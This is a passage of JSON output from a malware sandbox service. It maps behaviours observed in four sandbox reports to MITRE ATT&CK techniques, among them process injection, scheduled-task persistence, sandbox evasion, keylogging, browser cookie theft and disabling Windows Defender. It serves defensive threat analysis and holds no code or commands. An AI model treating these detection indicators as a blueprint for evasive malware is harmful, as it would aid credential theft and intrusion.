string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"malicious","value":"Schedules a task to be executed at a specific time and date"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains reference to multiple windows system processes"},{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"malicious","value":"Executes powershell requesting to bypass execution policy"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"YARA signature match - PowerShell file content"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to start a process (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Contains ability to modify thread functionality - possible hijack (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Allocates virtual memory in a remote process"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"malicious","value":"Writes shellcode to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"informative","value":"Attempts remote code execution into another process memory space"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Sets thread context in a remote process (often injection or process hollowing)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"YARA signature match - RSA algorithm (keys)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"YARA signature match - RC4 Encryption"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Able to identify sandbox environment running process"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"},{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Contains ability to decode base64 data"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"informative","value":"YARA signature match - Medium entropy File"},{"type":"informative","value":"YARA signature match - High entropy file"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"informative","value":"Contains ability to delete files"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"},{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains ability to terminate services/features (Powershell command string)"},{"type":"informative","value":"Tries to map intranet network resources to internet zone"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Web Session Cookie","attack_id":"T1550.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1550/004","identifiers":[{"type":"informative","value":"Able to access web session cookie"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"},{"type":"informative","value":"Able to identify virtual/sandbox environment"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"suspicious","value":"Possibly tries to evade analysis by sleeping many times"},{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"suspicious","value":"Tries to sleep for a long time (more than two minutes)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Able to manipulate a file/directory time format"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using web history"},{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"},{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"malicious","value":"Drops executable files to the application program directory (%ProgramData%)"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Defense Evasion","technique":"Compression","attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Found strings related to keylogger"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to retrieves browser cookies data"},{"type":"informative","value":"Able to retrieve browser cookies using SQL"},{"type":"informative","value":"Able to retrieve browser cookies data"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Able to retrieve file and directory 